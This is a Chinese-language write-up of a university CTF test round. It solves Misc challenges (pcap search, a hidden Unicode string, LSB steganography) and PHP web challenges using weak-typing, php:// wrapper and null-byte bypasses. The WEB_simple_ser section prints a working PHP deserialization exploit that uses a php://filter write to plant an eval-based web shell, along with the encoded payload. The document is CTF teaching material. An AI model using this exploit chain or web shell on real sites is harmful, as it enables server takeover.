WP光电信息学院2023年网络安全季度挑战赛-测试赛

签个到就跑WP

Misc

MISC-没爱了，下一个

下载附件压缩包解压之后，获得一个流量包文件

使用wireShark打开流量包，Ctrl + F 搜索flag{即可获得flag

flag{Good_b0y_W3ll_Done}

MISC-送你一朵小花花

下载附件压缩包解压之后，获得一个JPG图片文件

用010打开查看，在文件尾部发现Unicode编码

使用随便一个在线解Unicode编码的网站解密https://c.runoob.com/front-end/3602/
即可获得flag

key{you are right}

MISC-镜子里面的世界

考察LSB隐写

flag{st3g0_saurus_wr3cks}

Web

WEB_workhard

参考博客：

http://t.csdnimg.cn/GzmwA
https://www.cnblogs.com/baifan2618/p/7815090.html
https://www.jianshu.com/p/f6447e2e35e3

打开后什么也没有，查看源代码，发现一个txt，访问后发现php代码。典型的代码审计，考查了几个函数

-eregi

eregi — 不区分大小写的正则表达式匹配
int eregi( string $pattern, string $string[, array &$regs] )本函数和 ereg() 完全相同，只除了在匹配字母字符时忽略大小写的区别。 
Example #1 eregi() 例子
<?php
$string = 'XYZ';if (eregi('z', $string)) {echo "'$string' contains a 'z' or 'Z'!";
}
?>

2.strlen()计算字符长度。
3.file_get_contents()，将文本以字符串的形式输出。
4.stripos — 查找字符串首次出现的位置（不区分大小写）

if(!$_GET['id'])//id不能为零
{header('Location: index.php?id=1');exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))//a中不能有点
{echo 'Hahahahahaha';return ;
}
$data = @file_get_contents($a,'r');//a要为一个文件，并且这个文件要有 “1112 is a nice lab!”这句话
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 /*b要长度大于5*/and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4/*第一个数字不能为4*/)
{require("flag.txt");
}
else
{print "work harder!harder!harder!";
}

所以题的大致意思就是，传递三个参数，id不能为零，但是要等于零，a要为一个文件，并且这个文件要有 “1112 is a nice lab!”这句话，b要长度大于5，第一个数字不能为4。

id这个绕过需要用弱类型来解决 id=‘a’
a这个绕过需要用到php伪协议，a=php://input或者 a=data:,1112 is a nice lab!
b这个绕过需要用到%00截断，当eregi这个函数遇到%00时，就不会再继续比较了。
给出payload，体会一下

然后获得flag

WEB_login_wc

注册一个admin管理员账号登录即可

WEB_simple_ser

参考：https://zhuanlan.zhihu.com/p/51628607
查考php反序列化，任意文件写入，函数绕过
1.打开题目进行源码审计，通过代码可以看出考点应为反序列化的漏洞，通过fileput函数，进行文件的写入

<?php 
class cls1{ var $cls; var $arr; function show(){ show_source(__FILE__); } function __wakeup(){ foreach($this->arr as $k => $v){ echo $this->cls->$v; } } 
} class cls2{ var $filename = 'hello.php'; var $txt = ''; function __get($key){ if($key == 'fileput'){ return $this->fileput(); }else{ return '<p>'.htmlspecialchars($key).'</p>'; } } function fileput(){ if(    strpos($this->filename,'../') !== false || strpos($this->filename,'\\') !== false      ) die(); $content = '<?php die(\'stupid\'); ?>'; $content .= $this->txt; file_put_contents($this->filename, $content); return htmlspecialchars($content); } } if(!empty($_POST)){ $cls = base64_decode($_POST['ser']); $instance = unserialize($cls); 
}else{ $a = new cls1(); $a->show(); 
}

2.构造反序列化代码

<?php
class cls1{var $cls;var $arr;function __construct(){$this->cls = new cls2();$this->arr = array('fileput'=>'fileput');}
}class cls2{var $filename = 'e.php';var $txt = '<?php phpinfo();';
}
print_r(base64_encode(serialize(new cls1())));

3.使用该代码传入post的ser参数，可以在服务器当前目录下生成e.php文件，但是应为程序会写入die()函数，所以并没有执行我们构造的代码
4.我们可以通过使用php://filter来绕过这个限制，这里也可以使用其他方法。
利用php://filter/write=convert.base64-decode/resource=e.php就可以以base64的形式向写入e.php。这样就可以将前面的die变成无效字符，从而执行我们想执行的代码

具体payload如下

<?php
class cls1{var $cls;var $arr;function __construct(){$this->cls = new cls2();$this->arr = array('fileput'=>'fileput');}
}class cls2{var $filename ;var $txt;function __construct(){$this->filename = 'php://filter/write=convert.base64-decode/resource=e.php';$this->txt = '<?php @eval($_POST["1"]);';$this->txt = base64_encode($this->txt);}
}print_r(base64_encode(serialize(new cls1())));
Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU1OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWUucGhwIjtzOjM6InR4dCI7czo0MDoiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKcFkzRnBZM0VpWFNrNyI7fXM6MzoiYXJyIjthOjE6e3M6NzoiZmlsZXB1dCI7czo3OiJmaWxlcHV0Ijt9fQ==